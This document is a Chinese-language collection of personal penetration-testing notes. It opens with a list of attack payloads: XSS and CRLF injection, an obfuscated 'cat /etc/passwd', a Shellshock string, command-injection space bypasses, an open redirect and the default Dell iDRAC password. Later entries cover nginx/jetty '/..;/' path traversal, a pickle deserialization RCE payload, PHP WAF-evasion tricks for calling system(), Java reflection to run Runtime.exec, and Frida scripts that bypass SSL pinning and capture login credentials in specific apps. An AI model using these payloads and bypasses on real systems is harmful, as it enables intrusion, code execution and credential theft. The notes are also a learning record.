特色

tips

x.png%22%0d%0a%0d%0a%0d%0a<script>alert(1)</script>
while true; do echo -e “HTTP/1.1 200 OK” | nc -lvp 8000; done
/b’i’n/c’a’t /e’t’c/p’a’s’s’w’d’
/???/?at /???/????w?
/usr/b’i’n/’n’c
/???/???/n?
telnet 192.168.0.1 -l “() { :;}; /usr/bin/id
ln -s /etc/passwd link
zip –symlinks test.zip link
dell  integrated dell remote access controller
默认口令  root  calvin
命令执行绕过空格
{echo,hello,world}
CMD=$’\x20/etc/passwd’&&cat$CMD
url重定向
https://www.example.com/account/login?next=https://www.example.com&next=@google.com

路径差异化可能引发一些安全问题

终于搞明白了 xx有些机器是 jetty容器+nginx做反向代理

jetty容器webapps目录下有n个目录或者n个war服务

然后通过nginx解析域名 映射到对应的目录下
根据中间件解析的差异化 nginx不解析 /..;/ 但是jetty 可以利用/..;/ 来进行跨目录

所以导致产生一种情况 test.xxxx.com/..;/ 可以访问到nginx后面jetty的根目录 从而访问其他服务

先模拟场景复现

 

nginx配置

 

 38 upstream jettyserver2 {
 39     server 127.0.0.1:8080;
 40         }
 41 
 42 
 43     server {
 44         listen       80 ;
 45         #listen       [::]:80 default_server;
 46         server_name  test.cuijianxiong.top;
 47 #root         /root/tool/jetty-distribution-9.4.17.v20190418/webapps/test/ttt;
 48 
 49         # Load configuration files for the default server block.
 50         include /etc/nginx/default.d/*.conf;
 51 
 52         location / {
 53             proxy_pass http://jettyserver2/test/bug/ ;
 54         }
 55 
 56 
 57         }

默认路由访问http://test.cuijianxiong.top  会映射到  http://127.0.0.1:8080/test/bug这个目录  如果我想访问上一层目录的话是没办法的 如果nginx配置没问题的话

 

 

这里就出现了个问题  nginx是不解析 /..;/的 但是jetty默认解析/..;/造成路径遍历

那么完全可以构造一个请求  http://test.cuijianxiong.top/..;/

会有什么结果呢

 

跨目录读取

 

 

 

 

 

 

 

 

 

 

 

python反序列化利用

今天无意看到的场景  redis未授权访问但被降权,redis用于存储用户session,后端python    序列化读取session

先来一张Pickle  序列化得样子

然后写进去 当访问session  python会反序列化造成rce

这里写个测试例子

s为payload

 

import pickle
import os

class exp(object):
	def __reduce__(self):
		s = "calc.exe"
		return (os.system,(s,))

e = exp()
s = pickle.dumps(e)

with open("rce","wb") as f:
	f.write(s)


with open("rce","rb") as e:
    data = pickle.loads(e.read())
    print(data)

 

一次安卓逆向

朋友搞个刷步数软件  叫帮忙找下解密的内容

下载下来发现通过jni加载so的方法进行加密

hook下

Java.perform(function() {                

    var array_list = Java.use("java.util.ArrayList");
    var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl');
	var okhttp = Java.use('com.codoon.common.http.HttpSignatureUtil');

	okhttp.calHttpSignatureString.overload('android.content.Context', 'java.lang.String', 'java.lang.String', 'java.lang.String', 'java.lang.String').implementation = function(a1,a2,a3,a4,a5){
		console.log(a1);
		console.log(a2);
		console.log(a3);
		console.log(a4);
		console.log(a5);
		return this.calHttpSignatureS1(a1,a2,a3,a4,a5);
	}



	
    ApiClient.checkTrustedRecursive.implementation = function(a1,a2,a3,a4,a5,a6) {
            console.log('Bypassing SSL Pinning');
            var k = array_list.$new(); 
            return k;
    }
	
},0);

一堆乱七八糟的东西。。。

在import com.codoon.jni.JNIUtils;这个类里面

 

跟进去发现加载一个encrypt的so文件

反编译apk找到它

 

用ida反编译

从exports导出函数发现方法  Java_com_codoon_jni_encryptHttpSignature

 

跟到代码  F5里发现加密方法

 

 

尝试hook下传入参数

这里有个坑 安卓的ps  是-A  大写的A。。。。

 

ps -A找到pid

然后查看映射的内存地址

cat /proc/15308/maps | grep libencrypt.so

找到对应地址为c90c4000

加密函数为548C

那么hook对应地址为

c90c4000 (3373023232) + 548c (21644)+1 = c90c948d

hook传入参数


var nativePointer = new NativePointer(0xC90C948D);
console.log("net native pointers:"+nativePointer);
var result_pointer;
Interceptor.attach(nativePointer, {
    onEnter: function(args) {
    	// result_pointer = args[2].toInt32();
    	console.log("netcrypt so args: "+Memory.readCString(args[0])+",    "+args[1]+",    "+args[2]+",    "+args[3]);
    },

});

 

传参是对应16进制地址

 

XSStrike 代码阅读

最近想要读一读关于高阶扫描器的实现原理,于是找了一个”python3″的代码来读一下

https://github.com/s0md3v/XSStrike

这个有近5700star的安全项目  还是挺厉害的

从头开始阅读

第一段 首先代码引入了相关的输出颜色的数值

这里从color.py可以看到

然后引入了urllib.parse  这个python3的官方库 如果引入失败会抛出一个ImportError的异常 意味着当前使用python版本为2.+

接下来是做一些初始化的东西

先是导入了  argparse来解析参数

然后引入了相关的配置文件和一些方法 比如base64编码之类的

先是判断headers接收的参数

如果不存在则调用prompt()生成一个headers

如果不能存在headers参数则使用默认的headers

 

 

 

接下来是一些赋值

之后作者做了一个奇怪的操作

 

core.config.globalVariables = vars(args)

也算写python一年多了 居然连vars方法都不知道

原来这个操作是吧传入参数做一个全局变量23333

 

下面这段先不读  因为没传参数

最基本的是  python   xsstrike.py   -u  http://www.example.com

接下来判断是否fuzz  如果fuzz的话进入fuzz模式

先略过直接进入主题 scan

 

 

 

一块一块读  上来第一行就是一波骚操作

这么写判断请求方式  233333

看第二个方法 定睛一看 我擦  自己写了个请求库么

requester  实际上就是中心覆写了一遍requests
先是尝试https 如果抛出异常则尝试http
response = requester(target, {}, headers, GET, delay, timeout).text
最后获取http请求返回的结果

接下来

skipDOM  检测dom  xss  其实就是寻找存在漏洞的标签
这里默认的话传参是Flase  所以默认检测
主要用的一个dom函数
这里跟进去
其实这个dom的功能就是按正则匹配一些危险的标签
然后输出出来
继续….
getParams方法解析参数
 
arjun函数则为寻找一些输入点之类的
wafDetector方法判断是否存在waf
其中用了一些  sqlmap的方法
然后在其中插入一些最基本的xss代码
<script>alert(“XSS”)</script>
然后正则匹配 一些waf的拦截规则

利用php一些特性绕waf

 

测试代码 这个最简单只随便过滤了下 直接eval  文章重点不在于这里

 

正常利用system读取 肯定会被拦截

 

这里引申除了三个方法

第一种是 不使用system字符串的情况下使用该函数

https://secure.php.net/manual/zh/language.types.string.php

php有很多字符串表示方法

我们可以通过字符串调用函数

 

 

而方法可以不用” 或者’来表示

可以比如这样 (system)(“cat /etc/passwd”)

而这里不能出现system那么可以用其他方法连接

例如(sy.(st).em)

 

 

而最后一种方法我们可以使用$_GET[]变量   例如我发送  ?test1=system&test2=cat%20/etc/passwd&code=$_GET[test1]($_GET[test2]);

 

 

 

当然也可以加入一些注释

 

get_defined_functions

此PHP函数返回一个多维数组,其中包含所有已定义函数列表,包括内置(内部)和用户定义。内部功能可以通过$arr[“internal”]和用户定义的方式访问$arr[“user”]

 

这也是在不使用黑名单内名称实现其功能的一种方法

例如grep system获取到他的索引号并且使用它

 

 

 

那么我们完全可以用这个方法绕过他

 

 

 

字符串数组

PHP中的每个字符串都可以用作字符数组  可以使用语法$string[2]或者$string[-3]

 

偷一张图 自己写懒得写了

 

 

java反序列化学习

java虽然看了语法 但是好多都没看过  最近总被问到序列化与反序列化漏洞的问题 很尴尬 特找个时间看了下实现

java序列化是为了实现减少内存开销,将一部分暂时不需要的通过序列化成文件流的形势存储到硬盘上,以减小内存的压力,之后需要用到的时候再通过反序列化读取到内存之中

java本着一切皆为对象的原则,理论上什么都可以序列化的,但是序列化需要implements   java.io.Serializable的接口

Serializable无任何意义  只用于标识可序列化的语义 也就是说只有实现Serializable接口的对象才可以被序列化

 

 

package test;


import java.io.*;


public class Objectest {
	public static final File FILE = new File("test.ser");  
	public static void main(String[] args) throws Exception {
		ser(new Person("test",20));
		dser();
	    
	}
	public static void ser(Object obj) throws FileNotFoundException, IOException{  //序列化
		ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE));
		oos.writeObject(obj);
		oos.close();
		
	}
	public static void dser() throws FileNotFoundException, IOException, ClassNotFoundException {  //反序列化
		ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE));
		System.out.println(ois.readObject());
		ois.close();
	}

}
class Person implements Serializable{
	private String name;
	private int age;
	
	public Person(String name, int age) {
		super();
		this.name = name;
		this.age = age;
	}
	@Override
	public String toString() {
		return "Person [name=" + name + ", age=" + age + "]";
	}
	public String getName() {
		return name;
	}
	public void setName(String name) {
		this.name = name;
	}
	public int getAge() {
		return age;
	}
	public void setAge(int age) {
		this.age = age;
	}
	
	
}

 

 

那么反序列化漏洞就能大概知道 是在数据流反序列化成对象的时候产生的漏洞,而造成的代码执行

接下来看反射机制

反就是正的反义词 反射即通过对象来查找类名称

 

 

那么获取类有三种方法

一种是通过类名称.class获取

一种是通过getClass()方法获取

最后是 Class.forName()

上面例子即为

		Class<?> cls = new Person().getClass();
		Class<?> cls2 = Person.class;
		Class<?> cls3 = Class.forName("test.Person");
  		System.out.println(cls);
		System.out.println(cls2);
		System.out.println(cls3);
		

然后可以通过Instance()实例化对象

java执行命令是通过Runtime.getruntime().exec()来执行命令的

 

那么怎么通过反射机制调用类的方法呢

这里需要用的 getMethod()的invoke方法来反射调用对应的对象

那么可以这么写

 Class.forName("java.lang.Runtime")
	              .getMethod("exec", String.class)
	              .invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null),"calc.exe");

卧槽这么烂的写法以后要看不懂了

 

简单写。。。。

	      Class<?>  clrun = Class.forName("java.lang.Runtime");
	      Method runt = clrun.getMethod("getRuntime",new Class[]{});
	      Object runa = runt.invoke(null);
	      Method execu = clrun.getMethod("exec", String.class);
	      execu.invoke(runa, "calc.exe");

 

 

呼   核心搞完了

接下来找个公开的问题练下手

 

使用frida hook重载函数

apply arguments

MyClass.MyFunc.overload("java.util.List").implementation = function() {
    this.MyFunc.overload("java.util.List").apply(this, arguments);
}

argments下标

MyClass.MyFunc.overload("java.util.List").implementation = function () {
    this.MyFunc(arguments[0]);
};

用具体的

MyClass.MyFuncs.overload("int", "int").implementation = function (s1, s2) {
    var ret = this.MyFuncs(s1, s2);
}

字符串数组

hook.hookMeArray.overload("[Ljava.lang.String;").implementation = {}

用call

var Handler = classFactory.use("android.os.Handler");
var Looper = classFactory.use("android.os.Looper");

var looper = Looper.getMainLooper();
var handler = Handler.$new.overload("android.os.Looper").call(Handler, looper);



MyClass.MyFunc.overload("java.lang.String;").implementation = {
     this.MyFunc.overload("java.lang.String").call(this, args[1])
     MyClass.MyFunc.overload("java.lang.String").call()
}

最近正好练习分析app

分析娘家人的一个app

发现登陆处是加密的  于是尝试解密

无混淆无壳

 

java太渣了 没定位到传入参数

于是想hook下login

Java.perform(function() {                

    var test1 = Java.use("com.wanmei.tiger.module.person.net.AccountLikeDownloader");
    var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl');
	var orglogin = test1.login.overload("java.lang.String","java.lang.String");
	
	test1.login.implementation = function(arg1,arg2){
		console.log(arg1);
		console.log(arg2);
		orglogin.call(arg1,arg2);
	}
},0);

使用frida  hook下 成功截获信息 没想到加密只是最普通的加密2333